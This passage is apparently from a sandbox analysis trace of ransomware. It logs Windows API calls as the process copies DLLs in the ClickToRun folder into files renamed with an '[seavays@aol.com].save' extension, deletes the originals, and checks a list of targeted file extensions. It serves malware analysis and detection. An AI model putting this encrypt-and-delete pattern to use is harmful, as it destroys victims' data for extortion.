(hFile=0x38c) returned 1 [0068.393] CloseHandle (hObject=0x38c) returned 1 [0068.393] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0068.393] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-environment-l1-1-0.dll")) returned 1 [0068.393] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll") returned 95 [0068.394] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll") returned 95 [0068.394] lstrlenW (lpString=".doc") returned 4 [0068.394] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0068.394] lstrlenW (lpString=".docx") returned 5 [0068.394] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0068.394] lstrlenW (lpString=".pdf") returned 4 [0068.394] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0068.394] lstrlenW (lpString=".xls") returned 4 [0068.394] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0068.394] lstrlenW (lpString=".xlsx") returned 5 [0068.394] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0068.394] lstrlenW (lpString=".ppt") returned 4 [0068.394] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0068.394] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll") returned 95 [0068.394] lstrlenW (lpString=".zip") returned 4 [0068.394] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0068.394] lstrlenW (lpString=".rar") returned 4 [0068.394] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0068.394] lstrlenW (lpString=".bz2") returned 4 [0068.394] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0068.394] lstrlenW (lpString=".7z") returned 3 [0068.394] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0068.394] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll") returned 95 [0068.394] lstrlenW (lpString=".dbf") returned 4 [0068.394] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0068.394] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll") returned 95 [0068.394] lstrlenW (lpString=".1cd") returned 4 [0068.394] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0068.394] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll") returned 95 [0068.394] lstrlenW (lpString=".jpg") returned 4 [0068.394] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0068.395] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll") returned 95 [0068.395] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll") returned 95 [0068.395] lstrlenW (lpString=".doc") returned 4 [0068.395] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0068.395] lstrlenW (lpString=".docx") returned 5 [0068.395] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0068.395] lstrlenW (lpString=".pdf") returned 4 [0068.395] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0068.395] lstrlenW (lpString=".xls") returned 4 [0068.395] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0068.395] lstrlenW (lpString=".xlsx") returned 5 [0068.395] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0068.395] lstrlenW (lpString=".ppt") returned 4 [0068.395] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0068.395] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll") returned 95 [0068.395] lstrlenW (lpString=".zip") returned 4 [0068.395] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0068.395] lstrlenW (lpString=".rar") returned 4 [0068.395] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0068.395] lstrlenW (lpString=".bz2") returned 4 [0068.395] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0068.395] lstrlenW (lpString=".7z") returned 3 [0068.395] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0068.395] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll") returned 95 [0068.395] lstrlenW (lpString=".dbf") returned 4 [0068.395] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0068.395] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll") returned 95 [0068.395] lstrlenW (lpString=".1cd") returned 4 [0068.395] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0068.395] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll") returned 95 [0068.395] lstrlenW (lpString=".jpg") returned 4 [0068.395] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0068.396] lstrcmpiW (lpString1=".dll", lpString2=".save") returned -1 [0068.396] lstrlenW (lpString="api-ms-win-crt-multibyte-l1-1-0.dll") returned 35 [0068.396] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-multibyte-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0068.396] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2ecff14 | out: lpFileSize=0x2ecff14*=26816) returned 1 [0068.396] CloseHandle (hObject=0x38c) returned 1 [0068.396] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-multibyte-l1-1-0.dll")) returned 0x20 [0068.396] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-multibyte-l1-1-0.dll.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0068.396] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-multibyte-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0068.396] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0068.396] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0068.397] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-multibyte-l1-1-0.dll.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0068.397] GetLastError () returned 0x0 [0068.397] ReadFile (in: hFile=0x38c, lpBuffer=0x39ea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesRead=0x2ecfecc*=0x68c0, lpOverlapped=0x0) returned 1 [0068.399] WriteFile (in: hFile=0x34c, lpBuffer=0x39ea020*, nNumberOfBytesToWrite=0x68d0, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesWritten=0x2ecfc94*=0x68d0, lpOverlapped=0x0) returned 1 [0068.400] ReadFile (in: hFile=0x38c, lpBuffer=0x39ea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesRead=0x2ecfecc*=0x0, lpOverlapped=0x0) returned 1 [0068.400] WriteFile (in: hFile=0x34c, lpBuffer=0x39ea020*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesWritten=0x2ecfc94*=0x11a, lpOverlapped=0x0) returned 1 [0068.400] SetEndOfFile (hFile=0x34c) returned 1 [0068.400] CloseHandle (hObject=0x34c) returned 1 [0068.402] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0068.402] SetEndOfFile (hFile=0x38c) returned 1 [0068.403] CloseHandle (hObject=0x38c) returned 1 [0068.404] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0068.404] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-multibyte-l1-1-0.dll")) returned 1 [0068.404] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93 [0068.404] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93 [0068.404] lstrlenW (lpString=".doc") returned 4 [0068.404] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0068.404] lstrlenW (lpString=".docx") returned 5 [0068.404] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0068.404] lstrlenW (lpString=".pdf") returned 4 [0068.404] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0068.404] lstrlenW (lpString=".xls") returned 4 [0068.404] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0068.404] lstrlenW (lpString=".xlsx") returned 5 [0068.404] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0068.404] lstrlenW (lpString=".ppt") returned 4 [0068.404] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0068.405] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93 [0068.405] lstrlenW (lpString=".zip") returned 4 [0068.405] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0068.405] lstrlenW (lpString=".rar") returned 4 [0068.405] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0068.405] lstrlenW (lpString=".bz2") returned 4 [0068.405] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0068.405] lstrlenW (lpString=".7z") returned 3 [0068.405] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0068.405] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93 [0068.405] lstrlenW (lpString=".dbf") returned 4 [0068.405] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0068.405] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93 [0068.405] lstrlenW (lpString=".1cd") returned 4 [0068.405] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0068.405] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93 [0068.405] lstrlenW (lpString=".jpg") returned 4 [0068.405] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0068.405] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93 [0068.405] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93 [0068.405] lstrlenW (lpString=".doc") returned 4 [0068.405] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0068.405] lstrlenW (lpString=".docx") returned 5 [0068.405] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0068.405] lstrlenW (lpString=".pdf") returned 4 [0068.405] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0068.405] lstrlenW (lpString=".xls") returned 4 [0068.405] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0068.405] lstrlenW (lpString=".xlsx") returned 5 [0068.405] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0068.405] lstrlenW (lpString=".ppt") returned 4 [0068.405] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0068.405] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93 [0068.406] lstrlenW (lpString=".zip") returned 4 [0068.406] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0068.406] lstrlenW (lpString=".rar") returned 4 [0068.406] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0068.406] lstrlenW (lpString=".bz2") returned 4 [0068.406] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0068.406] lstrlenW (lpString=".7z") returned 3 [0068.406] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0068.406] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93 [0068.406] lstrlenW (lpString=".dbf") returned 4 [0068.406] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0068.406] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93 [0068.406] lstrlenW (lpString=".1cd") returned 4 [0068.406] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0068.406] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93 [0068.406] lstrlenW (lpString=".jpg") returned 4 [0068.406] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0068.406] lstrcmpiW (lpString1=".dll", lpString2=".save") returned -1 [0068.406] lstrlenW (lpString="api-ms-win-crt-private-l1-1-0.dll") returned 33 [0068.406] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-private-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0068.407] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2ecff14 | out: lpFileSize=0x2ecff14*=70848) returned 1 [0068.407] CloseHandle (hObject=0x38c) returned 1 [0068.407] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-private-l1-1-0.dll")) returned 0x20 [0068.407] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-private-l1-1-0.dll.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0068.407] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-private-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0068.407] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0068.407] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0068.407] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-private-l1-1-0.dll.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0068.407] GetLastError () returned 0x0 [0068.407] ReadFile (in: hFile=0x38c, lpBuffer=0x39ea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesRead=0x2ecfecc*=0x114c0, lpOverlapped=0x0) returned 1 [0068.410] WriteFile (in: hFile=0x34c, lpBuffer=0x39ea020*, nNumberOfBytesToWrite=0x114d0, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesWritten=0x2ecfc94*=0x114d0, lpOverlapped=0x0) returned 1 [0068.412] ReadFile (in: hFile=0x38c, lpBuffer=0x39ea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesRead=0x2ecfecc*=0x0, lpOverlapped=0x0) returned 1 [0068.412] WriteFile (in: hFile=0x34c, lpBuffer=0x39ea020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesWritten=0x2ecfc94*=0x116, lpOverlapped=0x0) returned 1 [0068.412] SetEndOfFile (hFile=0x34c) returned 1 [0068.412] CloseHandle (hObject=0x34c) returned 1 [0068.414] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0068.415] SetEndOfFile (hFile=0x38c) returned 1 [0068.416] CloseHandle (hObject=0x38c) returned 1 [0068.416] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0068.416] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-private-l1-1-0.dll")) returned 1 [0068.416] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll") returned 91 [0068.416] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll") returned 91 [0068.416] lstrlenW (lpString=".doc") returned 4 [0068.417] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0068.417] lstrlenW (lpString=".docx") returned 5 [0068.417] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0068.417] lstrlenW (lpString=".pdf") returned 4 [0068.417] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0068.417] lstrlenW (lpString=".xls") returned 4 [0068.417] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0068.417] lstrlenW (lpString=".xlsx") returned 5 [0068.417] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0068.417] lstrlenW (lpString=".ppt") returned 4 [0068.417] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0068.417] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll") returned 91 [0068.417] lstrlenW (lpString=".zip") returned 4 [0068.417] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0068.417] lstrlenW (lpString=".rar") returned 4 [0068.417] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0068.417] lstrlenW (lpString=".bz2") returned 4 [0068.417] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0068.417] lstrlenW (lpString=".7z") returned 3 [0068.417] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0068.417] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll") returned 91 [0068.417] lstrlenW (lpString=".dbf") returned 4 [0068.417] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0068.417] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll") returned 91 [0068.417] lstrlenW (lpString=".1cd") returned 4 [0068.417] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0068.418] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll") returned 91 [0068.418] lstrlenW (lpString=".jpg") returned 4 [0068.418] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0068.418] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll") returned 91 [0068.418] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll") returned 91 [0068.418] lstrlenW (lpString=".doc") returned 4 [0068.418] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0068.418] lstrlenW (lpString=".docx") returned 5 [0068.418] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0068.418] lstrlenW (lpString=".pdf") returned 4 [0068.418] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0068.418] lstrlenW (lpString=".xls") returned 4 [0068.419] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0068.419] lstrlenW (lpString=".xlsx") returned 5 [0068.419] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0068.419] lstrlenW (lpString=".ppt") returned 4 [0068.419] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0068.419] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll") returned 91 [0068.419] lstrlenW (lpString=".zip") returned 4 [0068.419] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0068.419] lstrlenW (lpString=".rar") returned 4 [0068.419] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0068.419] lstrlenW (lpString=".bz2") returned 4 [0068.419] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0068.419] lstrlenW (lpString=".7z") returned 3 [0068.419] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0068.419] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll") returned 91 [0068.419] lstrlenW (lpString=".dbf") returned 4 [0068.419] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0068.419] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll") returned 91 [0068.419] lstrlenW (lpString=".1cd") returned 4 [0068.419] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0068.419] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll") returned 91 [0068.419] lstrlenW (lpString=".jpg") returned 4 [0068.419] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0068.419] lstrcmpiW (lpString1=".dll", lpString2=".save") returned -1 [0068.419] lstrlenW (lpString="api-ms-win-crt-process-l1-1-0.dll") returned 33 [0068.419] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-process-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0068.420] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2ecff14 | out: lpFileSize=0x2ecff14*=19648) returned 1 [0068.420] CloseHandle (hObject=0x38c) returned 1 [0068.420] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-process-l1-1-0.dll")) returned 0x20 [0068.420] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-process-l1-1-0.dll.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0068.420] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-process-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0068.420] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0068.420] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0068.420] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-process-l1-1-0.dll.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0068.421] GetLastError () returned 0x0 [0068.421] ReadFile (in: hFile=0x38c, lpBuffer=0x39ea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesRead=0x2ecfecc*=0x4cc0, lpOverlapped=0x0) returned 1 [0068.786] WriteFile (in: hFile=0x34c, lpBuffer=0x39ea020*, nNumberOfBytesToWrite=0x4cd0, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesWritten=0x2ecfc94*=0x4cd0, lpOverlapped=0x0) returned 1 [0068.787] ReadFile (in: hFile=0x38c, lpBuffer=0x39ea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, 